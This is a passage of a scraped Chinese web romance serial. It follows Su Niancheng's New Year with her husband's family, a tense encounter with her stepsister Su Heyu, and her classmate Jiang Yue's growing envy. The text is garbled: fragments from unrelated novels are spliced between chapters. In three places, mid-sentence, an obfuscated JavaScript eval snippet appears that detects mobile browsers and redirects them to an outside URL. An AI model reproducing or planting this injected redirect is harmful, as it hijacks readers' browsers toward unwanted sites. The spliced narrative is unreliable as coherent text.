苏念橙想了想,“能成。萧医生人好,对芳婷姐也好。芳婷姐也喜欢他,就是嘴上不说。” 越靳雪点点头,“我也觉得。你看她刚才那个样子,脸红得跟苹果似的。” 两人说说笑笑回了家。 屋里热气腾腾的,老太太和宋云袖在厨房忙活,越靳临在旁边打下手。桌上已经摆了几道凉菜,还有一盘花生瓜子。 “回来了?”宋云袖从厨房探出头,“洗手准备吃饭。” 苏念橙应了一声,去洗了手,帮着摆碗筷。越靳雪跑去厨房偷吃,被老太太用筷子敲了一下手背,缩回来直吐舌头。 饭菜很快端上桌,满满当当摆了一桌。红烧鱼、糖醋排骨、炖鸡、炒青菜,还有一碗热气腾腾的饺子。 老太太招呼大家坐下,“快吃,凉了就不好吃了。” 宋云袖给苏念橙夹了块鱼,“念橙,多吃点。复习累,得补补。” “谢谢妈妈。”苏念橙咬了一口,鱼肉鲜嫩,汤汁浓郁。 越靳雪在旁边给她夹排骨,“嫂子,你尝尝这个,这可是我妈的拿手好菜。” 苏念橙碗里堆得满满的,她看着那一碗菜,心里暖洋洋的。 这是她这么多年来,第一次过这样的年。 有人给她夹菜,有人问她冷不冷,有人把她当家人。 她低下头,把那块排骨吃了。 吃完饭,几个人坐在沙发上看电视。 春节晚会刚开始,屏幕上的人唱唱跳跳,热闹得很。 苏念橙靠着越靳临,手里捧着杯热茶,听着外头偶尔传来的鞭炮声,心里踏实得很。 八点多的时候,门被敲响了。 越靳雪跑去开门,外头站着周文静和蒋毅明,裹着厚棉袄,脸红扑扑的。 “新年好!”周文静走进来,把手里的东西递给老太太,“奶奶,给您带了点年货。” 老太太接过来,笑得合不拢嘴,“来就来,还带什么东西。” 蒋毅明搓着手,“奶奶,今年年夜饭吃得怎么样?” “好着呢。”老太太招呼他们坐下,“你们吃了没?” “吃了吃了。”周文静在沙发上坐下,看向苏念橙,“念橙,等会儿去看烟花吗?江边那边每年都放,可好看了。” 苏念橙眼睛亮了,“好啊。” “我也去!”越靳雪举手。 越靳临看了看表,“八点半开始,现在去正好。” 几个人收拾了一下,出了门。 外头冷得很,风刮在脸上像刀子。苏念橙把围巾往上拉了拉,越靳临牵起她的手,塞进自己口袋里。 第一百二十六章 相机 到了江边,已经聚了不少人。 何佩佩站在一棵梧桐树下,裹着件蓝色棉袄,看见她们就挥手。 “念橙!这儿呢!” 杨柳珊态度坚决的一句“咱凭什么不要?”也让杨妈妈活动了心思。 城门上写着【冲南城】三个大字,才知自己竟然已到川北腹地,法华寺的势力范围。 “等我以后达到了返虚境,再去找它们的晦气!”虚若谷安慰自己。 这种活的植株异宝,可遇不可求,一向是诸多大宗派以及大教派收罗的目标,一旦得到,就会想方设法地大面积培养,成为宗派之根基。 结婚不一定是因为爱,离婚也未必因为恨,一别五年,和前妻相见,不管表面上装得多么轻松写意,但心中又怎能做到古井不波? 夏尘提醒完毕,手指便飞速的在扎在司徒振南脚上的或提,或捻,或者弹。 从那些青天宗长老和弟子的眼神注视焦点,他就知道,现在主事的乃是风总管,心念一动,就有了一个主意。 虚若谷首先将护心镜抓在手中,神念一扫,没有发现其中有器灵,当即开始祭炼,护心镜没有丝毫抗拒,数息之后就被祭炼成功,成了虚若谷的一件法宝。 云和风的麻烦不二一定要找,但这只能是数百年以后的事情了。但愿那个时候,云和风还活着。 坐在主位的人,并不是十二王国中的某个国王,而是一名有着一头精心打理过的白色头,打扮相当时髦,脖子上还挂着一个游戏耳机。脸上没有任何皱纹,却有着一双十分慵懒的死鱼眼的家伙。 “啾啾啾!”红色版块的战马被这一声声的狼鸣惊着了,所有的军马开始不听主人的指挥,发生了骚乱。 “妖刀也是上品天神器?用半神境界的尸躯也能炼制出上品天神器?”妖无情诧异的询问道。 “云乐,你不要再执‘迷’不悟了,就算是你现在毁掉了幽冥域又怎么样?只要我再将你封印,幽冥域会再次恢复过来的,你不要妄想毁掉位域空间!”云枫的眼神冰冷,语气也颇为不善的说道。 我想每一个妻子再给丈夫洗衣服之前都会摸一摸兜里有没有重要的东西,免得给洗坏了。 “前辈,我叫李平!”一壶酒喝完,李平一脸通红的说道,这一次他们两个都没有用灵力抵消酒劲,都想着醉这么一次。 “这些都是他们用黄沙凝聚出来的幻影,金鳞族不可能一下子就拿出这么多实力强悍的人来,这其中一定只有几个是真实的!”云枫看着夏天的攻击没有取得成果,忍不住的低声说道。 “看你了,千幻戒指!”李平的意识渐渐模糊,千幻防护罩一阵一阵发亮,似乎在为李平悲鸣。 “你怎么了!”徐风见李平话还没说完,就抱着头在地上痛苦的呻‘吟’,连忙跑上前问道,刚说到关键,徐风也不希望出现什么意外。 “圣水的踪迹我并不知晓,所以也无从得到,而我手中的琉璃原液,是我集合了众多天地灵气的本源心水,所以用起来还是比较得心应手的。”青维解释道。 第一百二十七章 压岁钱 陈芳婷笑了,“知道啊,萧文彦。” 他喉结动了动,“那你知道你在干什么吗?” “知道。”她仰着脸看他,那双眼睛亮亮的,“你是不是不愿意碰我?” 华容郡主拿着手中的酒碗,醉眼惺忪,摇摇晃晃地朝着苏槿夕走了过来。 愉王妃能说什么,唯劝裴太后宽心罢了。主要是,秦凤仪平日里瞧着好说话,可有时又非常不好说话。便是愉王妃,也只能敲边鼓的同秦凤仪转达一下裴太后对他的关心,再多的,也不好多说了。 明明伤心了,动情了,也只能隐忍不发,转而去问那个绝不会触怒谢茂的问题。 做皇帝的,并不一定如何天才卓绝,也不一定要上知三千年下知五百载。 更何况, 经过方才那一番, 陆淮手中的刀不会再抵住她的脖子了。 而叶楚呢,她对婚姻没有什么想法。这一世,她只想改变家人和朋友们的结局,并让叶嘉柔的轨迹彻底扭转。 听到许龙这话,显然出乎了赵铁柱的预料,因为他也没有想到,许龙竟然会有这样疯狂的一面。 “不听老人言,死的很难看。”叶辰叹息道,能算出,这三五人,也难逃被灭的厄运。 久而久之,大门派也琢磨出来了,这古国的出现好比一场河神新娘的祭祀,要是没有足够强大的祭品,它一发怒说不定就大开杀戒。 这迫使我,必须要做一个完美的计划,而这个计划的实施,仅凭我一人之力,很难完成。 这一头她都没有办法搞定,怎么又来一头?蓝若歆叹了口气,看向瓦米他们被关的洞穴。 马车内慕容倾冉听着夜雨发出的笑声,差点笑出声,夜雨是个不苟言笑之人,何时见过他这般对人发笑,那笑声就好似夺命恶魔的奸笑,还好琅啸月捏了捏她的手指,及时止住了她。 而当对面的达克多和急冻鸟还有在场的观众都以为绝招抵消掉的时候,燃烧殆尽冲破水汽,瞬间命中毫无防备的急冻鸟。强悍的火焰绝招,虽然被抵消掉了部分力量,但是依旧强悍无比。 在欧罗巴战场上,胡八一驾驶的武装机甲正如无头苍蝇般在空中乱窜,那强大的晃悠力有几次差点把吴雪甩下来,见此一向冷静的她也忍不住骂了起来,同时手上更加用力抓紧。 就在吴师爷给贵子安排任务的时候,白宝国忽然打了个电话过来,让他赶紧去总堂一趟。 蓝若歆脱掉最外面的皮草外套,接着脱掉一身的骑马装,露出里面最贴身的薄薄的兽皮衣。 他们被砸的手都是左手,这是二哥故意为之,想的就是给他们留一条生路。 “你以为他们是良善之辈么?既然要逼你一逼,自然是要全部油水。”刘天的话没一丝幻想的余地。 这一招,就是凌霄一直所担心的。并不是这一招的威力巨大,而是要抵消掉这一招,十分的困难。若是他不正面面对,那么可以想象,法易路岛必定会化为乌有。 蓝若歆慌张的直接勾住月白的脖子,在他的下巴上咬了一口,含糊不清,着急上火的感谢道;“亲爱的,谢谢你,我走了!”转身再次飞奔,消失在黑夜中。 第一百二十八章 你要对我负责 “荷雨?”何钧礼的声音在耳边响起。 她回过神,抬起头。 何钧礼看着她,眼里带着点担忧,“想什么呢?叫你好几声没应。” 苏念橙摇摇头,“没什么。就是累了。” 奎托斯只是淡淡地看了一眼,就闭上眼睛,将心神重新沉入到金字塔中,继续锤炼着这座伟大的神柱。 上一次在身后的空间结合部,熊开山虽然力大无穷,但是后来和古神右手战斗的时候,他却半点儿用处都没有。如果当时熊开山具有真仙中期修为,情况就会好很多。 苍虹来不及转身迎战,只好继续向前窜去。李旭身形一晃就化作虚无,再次出现的时候,刚好挡住了苍虹的去路。 接下来唧唧歪歪,两人你来我去,不动武,打口水战,长空无忌骄傲优雅,言辞逼人,不过张夜总是一副很萌很纯洁的样子,却似乎也游刃有余。 奎托斯一路走过的血腥之路,死在他手下的亡魂数以千计,饥饿之力的痛苦更是积攒到了几近崩溃的边缘。 绪任克斯感觉到阴影中传来隐晦的波动,立刻心中一惊,想到了这处底下封闭空间的作用。 这个时候莽汉和老兵们全部后撤,把战场交给李峰他们,任何决定和后果都有他们自己承担。而这个时候,李峰就担任起了指挥官一职,经过这么多天的相处,大家都对李峰比较信服。 看到苏游和黄海的目光,凌默涵却沉吟了起来,似乎在权衡要不要说。 但此时听马可洛夫说来,似乎忒拜已经到了必亡的地步,甚至连保存血脉都做不到,只能够将希望寄托给一个陌生的斯巴达人。 “扑杀,在被封在墙里之前,被下过毒。”他手腕突然一用力,墙上就裂出了一大片的墙体,那具尸体也跟着跌了出来。只是尸体已经僵硬了,就这么谢谢的抵在半米宽的缝隙里,隔开了我和江黎辰两人。 蒲陶侧头朝他眨了眨眼,又把目光放到了屏幕上,她一路往下看去,在最后那里总算看到了熟悉的数字。 “你说的没错。”云陌息朝着毕福走进一步,依旧保持着标志性的笑容,让人猜不透情绪。 “哎呦……”郝仁肩膀疼痛的发出一声惨叫。“是谁?谁敢暗中偷袭本神医!”郝仁一边揉着肩膀,一边环顾四周并大骂出声。 而现在,李成云的出现,让安沁雅觉得,他口中所说的合作,是有必要的。 “我,不想再到楼下去。”慕语涵知道,其实,她真的是没的选择,如果可以的话,那么,她是不是只能陪在沈子墨的身边,做他的情人。 “等等,我刚才都还听不懂你说话,怎么现在就能听懂了呢?难道,是吃了那枚红色果实的缘故?”秦阳这时候想起了一件非常重要的事情,忍不住问道。 假山流水,荷塘锦鲤,执子对弈,公子美人,这副画面竟有岁月静好之意。 凌盟当,所有的凌盟成员皆是呆滞看着这一幕,号称可以抵御九星武宗的卜卦玄阵,竟然被罗尊者一掌轰破,这太过撼人心魄了。 轩辕寒有些冰冷的眸子看着棚子外面坐在那里不停地挠着自己脑袋的乞丐婆婆。他没有摇头,也没有点头,或者是没有听见。 第一百二十九章 冤家路窄 陈芳婷被他说得一愣,还没反应过来,他已经松开了手。 她坐在床边,看着他起身穿衣服。背对着她,脊背宽阔,腰身精瘦,动作不紧不慢的。 她移开视线,盯着被子上的花纹,耳朵尖还红着。 “好了,赶紧吃东西休息一下,等下还得赶路!”爱丽丝朝两人命令道。 巴西也是体育强国,尤其是足球在世界中的地位可是犹如中国乒乓球在世界上的地位一样。 “告诉你们,录取名单已经定了,不会再更改,你们没有被录取的,请立即离开!”金发光下了最后通牒。 展昭接过手中,仔细打量,只见萧身通体雪白,寒气四溢,上面用七颗蓝宝石镶嵌成北斗七星状。 此时祝麒似乎想到了什么,突然直接往火蝾螈头上爬去,一只手抓住了火蝾螈的鼻孔,另一只手伸进衣服拿出了一个玻璃瓶,这瓶子就是之前装冰蚕的瓶子。 “我下午会把老师介绍给你们,现在解散!”伊鲁卡尴尬的说道。 而清华校队的粉丝们,脸上都洋溢着自信和胜利者的微笑,他们都知道,仿佛清华校队已经拿到了高校联赛总冠军一样。 听族内的长老说起过,人类很坏很狡猾,他们都想奴驭精灵一族。 浩南哥经常来找孟羽喝酒,本来孟羽和浩南哥并没有太多话题,但胖子周松离开后,孟羽忽然发现,原来他身边唯一能交心的男人,就只有浩南哥了。 他和Maybe战队的其他人不一样,这些天他都在关注玖战队的比赛,知道玖战队整体实力其实是和MVP战队差不多的,就是玖战队有几名队员在操作上比MVP战队差了那么点。 玄远这才领悟到,原来第一层便是要修炼者,全心修炼内功道法。那“不可用”三字并不是指不能用,而是说不能用于招式。 睡得很浅,梦很多,很清晰。过去几天发生的事情如同走马灯一样在梦境中轮番上演。 叶潇看着眼前的俏佳人,只觉得心中无限欢喜,哪还想得起这其中的重重诡异。 血后神色略有忌惮,还有些气愤,她的眼光还停留在远古时代,认为自己地位至高无上,觉得男子的态度对自己太过不敬,所以感觉到了不满。 众人都点点头。他们能够免费参与一次滑雪之旅已经是意外之喜了,自然不会要求太多。 龙云对水属性的清河度为一但是一旦领悟了那也可以掌控,只是修炼的速度变得非常慢,但是无论是攻击力还是防御力以及其他各个能力和黑暗属性冰属性以及光明属性一般无二。 “算是吧。”武云端起已经变温的咖啡一饮而尽,接着叫来服务员买单。 “父亲!”王不归惊呼,这是他父亲的影子,他想过去抓住父亲的手,可惜只是从中穿了过去,这只是一道残念。 等到了那一天,李青这才明白过来,正道根本就不怕李青会将挑战者给杀了,因为此人正是常心雨。世人皆知常心雨乃是李青的朋友,几次三番手下留情,这一次想必也不会例外。 “各位冥顽不灵,我也就不再劝说了。就当我刚才那一番话没说过,大家继续喝酒吧。”李青微微一笑。 第一百三十章 岁月静好 “怎么了?”越靳临低头看她。 苏念橙摇摇头,“没什么。走吧,去那边看看。” 她拉着他往另一个方向走,把那两个人甩在身后。 越靳临没追问,只是握紧了她的手。 苏荷雨被何钧礼拉着,脚步虚浮,像踩在棉花上。 昨晚医院临时通知要做手术,她觉都没睡,火急火燎赶过去,一夜没睡,在手术室外面等了一宿。 赵秀兰的手术做了六个小时,医生说还算顺利,但得住院观察一阵子。 她刚从医院出来,何钧礼说带她来广场转转,散散心。她不想来,可又不想一个人待着。 刚才看见苏念橙那一瞬间,她心里那股火又窜上来。 苏念橙站在那个男人身边,穿着新棉袄,围着新围巾,手里还拿着糖葫芦,笑得那么开心。 而她呢?她妈刚做完手术,躺在病床上,还不知道能不能好。 她爸不知道跑哪儿去了,连个人影都看不见。 她身上这件棉袄还是去年买的,都没洗,袖口都脏了。 凭什么? 她攥紧拳头,指甲掐进掌心。 “荷雨?”何钧礼的声音在耳边响起。 她回过神,抬起头。 何钧礼看着她,眼里带着点担忧,“累了吧?我送你回去休息。” 苏荷雨摇摇头,“不累。再走走吧。” 何钧礼没说话,只是揽着她的肩,慢慢往前走。 苏荷雨靠在他肩上,闭上眼睛。 她不知道的是,何钧礼的目光,刚才也在苏念橙身上停了一瞬。 广场另一边,苏念橙和越靳临逛了一圈,找了个长椅坐下。天冷,长椅上冰凉,越靳临把自己的外套脱下来,垫在她身下。 “你不冷?”苏念橙看着他。 “不冷。”他在她旁边坐下,伸手揽住她的肩。 苏念橙靠在他肩上,看着广场上人来人往。小孩在空地上追着跑,老人坐在台阶上晒太阳,年轻夫妻推着自行车,车筐里装着年货。 她忽然觉得,这样的日子,真好。 “越靳临。”她开口。 “嗯?” “你说,苏荷雨她妈的手术,做了吗?” 越靳临低头看她,“怎么突然问这个?” 苏念橙咬了咬嘴唇,“刚才看见她那个样子,猜的。估计是做了,不然不会那么狼狈。” 越靳临没说话。 苏念橙叹了口气,“希望顺利吧。虽然她们对我不好,但我也不想看着有人死。” 越靳临伸手揉了揉她的头发,“嗯,会的。” 两人在广场上坐了一会儿,越靳临看了看表,“走吧,回去吃饭。妈说了,晚上还有好吃的。” 苏念橙点点头,站起来。他把外套从长椅上拿起来,抖了抖,重新穿上,牵着她往回走。 走到广场门口,迎面撞上一个人。 江月站在几步外,穿着那件旧棉袄,手里拎着个布包,脸被风吹得红红的。她看见他们,愣了一下,随即笑了笑。 “念橙,越同志,新年好。” 苏念橙笑了,“新年好。你怎么在这儿?” “出来买点东西。”江月晃了晃手里的布包,“二姨夫让我打点酒。” 苏念橙点点头,“那快去吧,别耽误了。” 江月嗯了一声,从他们身边走过去。走了几步,她忍不住回头看了一眼。 那两个人并肩走着,越靳临牵着苏念橙的手,低头跟她说着什么。苏念橙仰着脸笑,眼睛弯成月牙。 江月收回目光,加快脚步。 打酒的小店在巷子口,她买了二斤散装白酒,拎着往回走。路过那棵老梧桐树的时候,她忽然停下脚步。 树下站着个人,穿着件浅色大衣,脸色苍白,眼眶下面一圈青黑。 她靠在树干上,闭着眼睛,像是累了在休息。 江月不认识她,看了一眼就准备走。 “等等。”身后传来一个女声。 江月回过头。苏荷雨睁开眼,正看着她。那眼神,说不清是什么。 “你是江月?”苏荷雨问。 江月愣住了,“你认识我?” 苏荷雨扯了扯嘴角,“我见过你。在补习班门口,你跟我姐在一起。” 江月心里咯噔一下,“你姐?” “苏念橙。”苏荷雨看着她,那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399681|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛里的情绪复杂得很,“她是我继姐。” 江月愣住了。她看着苏荷雨那张苍白的脸,脑子里忽然闪过一个念头。 “你……你就是她那个继妹?” 苏荷雨点点头,自嘲地笑了笑,“看来她没少说我坏话。” 江月没说话,只是看着她。 苏荷雨叹了口气,“算了,不说这个。你跟她关系挺好的?” 江月犹豫了一下,“还行吧。同学。” “同学。”苏荷雨重复了一遍,忽然笑了,“那你觉得她人怎么样?” 江月攥紧布包的带子,“挺好的。对人真诚,学习也用功。” 苏荷雨看着她,那眼神像是要把她看穿。然后她忽然凑近了些,压低声音,“你知道她男人是干什么的吗?” 江月愣了一下,“干工地的?” 苏荷雨笑了,那笑意不达眼底,“干工地的?你也信?军区大院的,开国功勋的后代,手底下好几块地皮。干工地?那是他乐意。” 她也是今天才知道,她母亲做手术时,听人说的。 江月愣住了。 苏荷雨看着她那副表情,嘴角勾了勾,“怎么?你不知道?” 江月摇摇头,攥紧布包带子,指节泛白。 苏荷雨直起身,拍了拍大衣上并不存在的灰,“行了,我走了。你慢慢逛。” 她转身就走,走了几步,又回过头,“对了,我姐那人吧,看着对谁都好,其实心里门儿清。你别被她骗了。” 江月站在原地,看着她的背影消失在巷子口。风吹过来,凉飕飕的。她站了好一会儿,才转身往回走。 推开家门,张大山正坐在桌边,脸黑沉沉的。看见她进来,眼睛一瞪,“买个酒要这么久?又死哪儿去了?” 江月把酒放到桌上,没说话,低着头往自己那间小屋走。 “站住。”张大山叫住她。 江月停下脚步。 张大山倒了杯酒,喝了一口,“我跟你说的,你考虑了没有?” 江月没回头,“什么?” “找个厂子上班。”张大山又喝了一口,“别念了,念出来也没什么用。” 第一百三十一章 嫉妒 江月握紧拳头,没说话,径直回了房间,关上门。 门板隔绝了外头的骂声,可张大山的嗓门太大,那些话还是像针一样扎进来。 “不要脸的东西!没爹没娘的野丫头,老子养你可不是让你白吃白喝的!” “天天念书念书,念出什么名堂了?趁早滚去厂里上班,别在这儿碍老子的眼!” 江月靠在门板上,捂住耳朵,蹲下来。 眼泪无声地往下掉,砸在水泥地上,洇开一小块深色的印子。 她咬着嘴唇,不敢出声。怕出声了,外头骂得更凶。 她也不想寄人篱下。 她也想有个自己的家,有爹有妈,有人疼有人爱。 可她没有。 她妈**,她爸坐牢了,弟弟在乡下跟着奶奶,日子过得紧巴巴的。她一个人来省城,借住在二姨家,看人脸色过日子。 她只想考大学。 考上大学,离开这个地方,再也不用看任何人的脸色。 可张大山说得对,她凭什么?她连饭都快吃不起了,拿什么考大学? 她抬起头,盯着对面那面斑驳的白墙。 脑子里忽然闪过刚才在巷子里碰见的那个女人。 苏荷雨。 苏念橙的继妹。 她说,苏念橙的男人不是干工地的,是军区大院的,开国功勋的后代,手底下好几块地皮。 她攥紧拳头,指甲掐进掌心。 凭什么? 苏念橙跟她一样,也是从乡下来的。凭什么她能嫁那么好的人?有车有房,有人疼有人爱,想考大学就考大学,想给钱就给钱。 而她呢?她连件像样的棉袄都买不起,连顿饱饭都吃不上,还要被二姨夫指着鼻子骂。 她想起苏荷雨说的那些话。 “我姐那人吧,看着对谁都好,其实心里门儿清。你别被她骗了。” 她咬着嘴唇,心里那股不甘越烧越旺。 如果她也能嫁个有钱的男人,像越靳临这样的,她就不需要再忍受这些了。 她站起来,走到桌边坐下。桌上那堆书还摊着,笔搁在本子上。她盯着那些字,脑子里却全是别的东西。 苏念橙能嫁,她为什么不能? 她长得也不差,成绩也好,凭什么就只能在这儿受气? 她咬了咬嘴唇,把那股翻涌的情绪压下去。 巷子里,何钧礼手里拿着两串糖葫芦,从另一头走回来。 他看见苏荷雨站在路灯下,低着头,不知道在想什么。 “荷雨。”他走过去,“你刚才去哪儿了?一转眼人就不见了。” 苏荷雨抬起头,笑了笑,“就随便逛逛。这附近还挺热闹的。” 何钧礼把糖葫芦递给她,“给,你刚才说想吃。” 苏荷雨接过来,咬了一口。山楂酸甜,裹着糖衣,脆脆的。 她嚼着那串糖葫芦,脑子里却还在想刚才那一幕。苏念橙站在广场上,手里也拿着糖葫芦,笑得那么开心。 她忽然觉得嘴里的糖葫芦不甜了,有点苦。 “钧礼。”她开口。 “嗯?” “你说,我姐她男人,到底是干什么的?” 何钧礼愣了一下,“干工地的。怎么了?” 苏荷雨摇摇头,“没什么。就是觉得,他好像挺有钱的。又是吉普车又是相机,不像干工地的。” 何钧礼没说话。他低下头,盯着手里的糖葫芦。 苏荷雨看着他那个表情,心里忽然明白了什么。 看来他也不知道那男人的底细。 昨晚她也是在医院才得知,原来那男人那么有来头。 她没再追问,挽住他的胳膊,“走吧,回家。我累了。” 何钧礼点点头,跟着她往回走。 两人走在昏暗的巷子里,谁都没说话。 另一边,军区大院。 苏念橙和越靳临回到家,推开门,屋里热气腾腾的。 宋云袖正从厨房端菜出来,看见他们,眼睛一亮,“回来了?快洗手吃饭。” 越靳雪已经坐在桌边了,手里拿着筷子,眼巴巴地看着桌上的菜。看见他们进来,眼睛一亮,“嫂子!快来!妈做了好多好吃的!” 苏念橙换了鞋,去洗了手,在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399682|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边坐下。 桌上摆着红烧肉、糖醋排骨、清蒸鱼、炒青菜,还有一碗热气腾腾的鸡汤,摆了满满一桌。 老太太从楼上下来,看见这一桌菜,笑得合不拢嘴,“云袖啊,你做这么多,吃得完吗?” “吃不完明天吃。”宋云袖给她盛了碗汤,“妈,您多喝点汤,补补。” 老太太接过碗,喝了一口,满意地点点头,“嗯,味道不错。” 几个人围坐着吃饭,说说笑笑。越靳雪嘴甜,把老太太哄得合不拢嘴,连越靳临都笑了好几回。 吃到一半,宋云袖放下筷子,看着大家。 “我跟你们说个事。”她顿了顿,“我后天就回京海了。” 屋里安静了一瞬。 老太太愣住了,手里的筷子停在半空,“后天?这么快?” 宋云袖点点头,“医院那边催得急,好几个病人等着手术。我本来想多待几天,实在走不开。” 老太太脸沉下来,把筷子放下,“你一年到头难得回来一趟,这才待了几天就要走?你眼里还有没有这个家?” “妈,您别生气。”宋云袖赶紧解释,“我这不是没办法吗?医院里病人多,别的医生不熟悉情况——” “病人病人,你就知道病人!”老太太打断她,眼眶都红了,“你丈夫走了这么多年,你一个人在外面,我管不了你。可你总得想想孩子吧?临儿刚结婚,你也不说多陪陪念橙——” “奶奶。”苏念橙赶紧开口,“妈妈工作忙,咱们应该理解。等忙完这阵子,她肯定还会回来的。” 老太太看着她,叹了口气,“你这孩子,就会替别人说话。” 越靳雪也凑过来,“奶奶,您别生气了。妈说了,等忙完就回来。到时候让她多待几天,把您伺候得舒舒服服的。” 老太太被她们这一说,气消了大半,但还是板着脸,“行行行,你们都有理。我老太婆不说了。” 宋云袖看着她那副样子,心里过意不去,伸手握住她的手,“妈,您放心。下次有假期,我一定多陪您几天。” 第一百三十二章 分别 老太太哼了一声,“你每次都这么说。” 宋云袖笑了,“这回是真的。” 老太太这才罢休,拿起筷子继续吃饭。 越靳临坐在旁边,看着这一幕,嘴角弯了弯。他伸手,给老太太夹了块鱼,“奶奶,您别生气了。妈走了,不是还有我吗?我陪您。” 老太太看着他,终于笑了,“你?你天天往工地跑,哪有空陪我?” “工地不忙了。”越靳临说,“最近没什么事,可以在家多待几天。” 老太太眼睛亮了,“真的?” “嗯。”越靳临点点头,“您想去哪儿,我带您去。” 老太太高兴了,脸上的褶子都舒展开了,“那敢情好。我好久没去公园了,你带我去逛逛。” “行。”越靳临笑了,“都听您的。” 苏念橙看着他们,嘴角弯了弯。她低下头,继续吃饭。 两天后,车站。 几个人站在候车室门口,围着宋云袖。 越靳雪挽着母亲的胳膊,眼眶红红的,“妈,您这么快就走,我还没跟您待够呢。” “傻孩子。”宋云袖伸手摸摸她的头,“又不是不常见。等你上京海,妈再约你出来吃饭,你也要好好念书,周末我们就又能见了。” 越靳雪点点头,把脸埋在她肩上。 老太太站在旁边,脸色不太好,但没说什么。她拉着宋云袖的手,拍了拍,“路上注意安全。到了打个电话。” 宋云袖点点头,“知道了,妈。您保重身体,别太操劳。” “我身体好着呢。”老太太说,“你管好你自己就行。” 宋云袖笑了,看向越靳临,“临儿,照顾好奶奶和念橙。别老往工地跑,多在家待着。” 越靳临点点头,“知道了,妈。” 宋云袖又看向苏念橙,拉着她的手,“念橙,好好复习。考上了,妈给你摆酒庆祝。” 苏念橙眼眶有点酸,“谢谢妈妈。您路上慢点。” “好。”宋云袖拍拍她的手,从包里掏出个信封,塞给她,“这是妈的一点心意,你拿着。别推辞,不然妈不高兴。” 苏念橙攥着那个信封,手指都有点抖。她深吸一口气,把那点酸意压下去,“谢谢妈妈。” 越靳雪在旁边看着,忽然想起什么,“对了,咱们还没拍照呢!嫂子,相机带了吗?” 苏念橙点点头,从包里把相机掏出来。 越靳雪拉着宋云袖,“妈,咱们拍一张。等照片洗出来,您带一张去京海。” 宋云袖笑了,“好。” 越靳雪又把老太太拉过来,几个人站在一起。苏念橙举起相机,对准她们。 “一、二、三——” “咔嚓。” 快门声清脆得很。 越靳雪跑过来要看,苏念橙说还没洗出来,她才作罢。 宋云袖看了看表,“行了,我该走了。你们回去吧,外头冷。” 她拎起皮箱,往检票口走。走了几步,又回过头,朝他们挥挥手。 几个人也挥挥手。 宋云袖转过身,进了检票口,消失在人群里。 越靳雪站在那儿,看着那个方向,眼泪终于掉下来。 老太太叹了口气,拍拍她的背,“别哭了。走吧,回家。” 几个人转身往回走。 苏念橙走在最后,忍不住回头看了一眼。检票口空荡荡的,什么都没了。 她收回目光,加快脚步。 翌日,补习班恢复了上课。 苏念橙起了个大早,收拾好东西,骑车往学校走。 到了教室,何佩佩已经在了,正趴在桌上打瞌睡。 苏念橙走过去,在她旁边坐下,“新年好。” 何佩佩抬起头,眼睛下面一圈黑眼圈,“新年好。你过年过得怎么样?” “挺好的。”苏念橙从包里掏出个小盒子,递过去,“给,新年礼物。” 何佩佩眼睛一亮,接过来打开,里头躺着一条红绳手链,上面串着颗小珠子,挺精致的。 “真好看。”她拿起来,直接戴在手腕上,“谢谢你,念橙。” 她也从包里掏出个东西,递过来,“给,你的。” 苏念橙接过来,是个笔记本,封面是皮的,摸着挺软和。 “你不是一直说笔记本不够用吗?”何佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399683|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩笑着说,“我特意给你挑的。” 苏念橙翻开,里头纸张厚实,摸着很舒服。她笑了,“谢谢你,佩佩。我很喜欢。” 何佩佩摆摆手,“谢什么。咱俩谁跟谁。” 苏昭昭从后头探过头来,“你们俩又在这儿互送礼物?我什么都没准备,怪不好意思的。” “谁让你不准备的?”何佩佩笑着说,“下次记得补上。” 苏昭昭翻了个白眼,“行行行,补上补上。” 何佩佩撑着下巴,忽然叹了口气,“念橙,你说我什么时候才能碰到如意郎君啊?你都有男人了,我还单着。” 苏念橙笑了,“急什么?缘分到了自然就来了。” “我就是急啊。”何佩佩趴在桌上,“你看你,结了婚多好,有人疼有人爱。我也想谈恋爱。” 苏昭昭在旁边笑,“等考完试,我带你去联谊怎么样?我表哥单位有不少单身男青年,条件都不错。” 何佩佩眼睛亮了,“真的?” “当然真的。”苏昭昭说,“到时候你好好打扮打扮,肯定能找个好的。” 何佩佩笑了,转头看向旁边一直没说话的江月,“江月,你去不去?一起去,人多热闹。” 江月正低着头看书,听见这话,手里的笔顿了顿。她抬起头,淡淡笑了笑,“可以啊。” 何佩佩高兴了,“那就这么说定了!等考完试,咱们四个一起去!” 苏念橙看着江月那张淡淡的笑脸,心里忽然有种说不出的感觉。说不上来哪里不对,就是觉得,她那个笑,跟以前不太一样了。 她没多想,收回目光,翻开书。 